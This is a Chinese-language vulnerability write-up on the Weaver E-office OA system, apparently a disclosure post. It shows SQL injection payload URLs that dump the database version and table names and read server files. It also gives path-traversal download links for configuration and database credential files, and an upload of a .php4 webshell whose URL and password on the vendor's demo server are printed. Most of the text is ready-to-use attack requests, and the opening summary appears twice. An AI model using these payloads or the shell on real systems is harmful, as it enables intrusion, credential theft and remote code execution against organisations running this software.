泛微E-office OA管理系统存在多处漏洞

摘要

还是OA系统，用户较多。存在sql注入，任意下载文件，代码执行等多处漏洞0x01 sql注入
测试官方站点，首先用使用测试账户xj登录，然后访问下面的地址。
[php]
http://eoffice8.weaver.cn:8028/general/file_folder/file_new/neworedit/index.php?FILE_SORT=&CONTENT_ID=123&SORT_ID=166&func_id=&operationType=editFromRead&docStr=[/php]

还是OA系统，用户较多。存在sql注入，任意下载文件，代码执行等多处漏洞

0x01 sql注入
测试官方站点，首先用使用测试账户xj登录，然后访问下面的地址。
[php]
http://eoffice8.weaver.cn:8028/general/file_folder/file_new/neworedit/index.php?FILE_SORT=&CONTENT_ID=123&SORT_ID=166&func_id=&operationType=editFromRead&docStr=[/php]

其中的CONTENT_ID参数能够注射SQL语句。
[php]
http://eoffice8.weaver.cn:8028/general/file_folder/file_new/neworedit/index.php?FILE_SORT=&CONTENT_ID=-4%20union%20select%201,2,3,4,5,version(),7,8,9,10,11,12,13,14,15,16,17,18,19%23&SORT_ID=166&func_id=&operationType=editFromRead&docStr=[/php]

查询表名，这里的CONTENT_ID在每次查询时要变换值，不然程序提示信息被锁定：

[php]http://eoffice8.weaver.cn:8028/general/file_folder/file_new/neworedit/index.php?FILE_SORT=&CONTENT_ID=-5%20union%20select%201,2,3,4,5,group_concat(table_name),7,8,9,10,11,12,13,14,15,16,17,18,19%20from%20information_schema.tables%20where%20table_schema=database()%23&SORT_ID=166&func_id=&operationType=editFromRead&docStr=[/php]

当然也可以load_file文件源码：

[php]http://eoffice8.weaver.cn:8028/general/file_folder/file_new/neworedit/index.php?FILE_SORT=&CONTENT_ID=-14%20union%20select%201,2,3,4,5,hex(load_file(0x443A5C656F6666696365382E336164765C776562726F6F745C6C6F67696E2E706870)),7,8,9,10,11,12,13,14,15,16,17,18,19%23&SORT_ID=166&func_id=&operationType=editFromRead&docStr=[/php]

0x02 任意文件下载漏洞

测试链接 [php]http://eoffice8.weaver.cn:8028/inc/attach.php?OP=1&ATTACHMENT_NAME=index.php&ATTACHMENT_ID=5402024843[/php]

其中，参数 ATTACHMENT_NAME 未有效的控制其范围，导致任意文件下载

配置文件下载（程序zend加密，在网站http://www.showmycode.com/中可以解密）

[php]http://eoffice8.weaver.cn:8028/inc/attach.php?OP=1&ATTACHMENT_NAME=../../inc/oa_config.php&ATTACHMENT_ID=5402024843[/php]

数据库连接文件下载

[php]http://eoffice8.weaver.cn:8028/inc/attach.php?OP=1&ATTACHMENT_NAME=../../mysql_config.ini&ATTACHMENT_ID=5402024843[/php]

0x03 文件上传导致任意代码执行

经分析inc/utility_all.php 的源码可知附件上传的路径为：attachment/$ATTACHMENT_ID /$ATTACHMENT_NAME

建立个人日志--上传附件，查看源码得到相应的 ATTACHMENT_ID 及 ATTACHMENT_NAME 的值，

从配置文件中可以知道，附件中未禁止php4格式的文件上传，因此可以直接getshell

通过以上分析，最终得到的shell地址是：[php]http://eoffice8.weaver.cn:8028/attachment/2506423447/conf1g.php4[/php] 密码是8（system权限）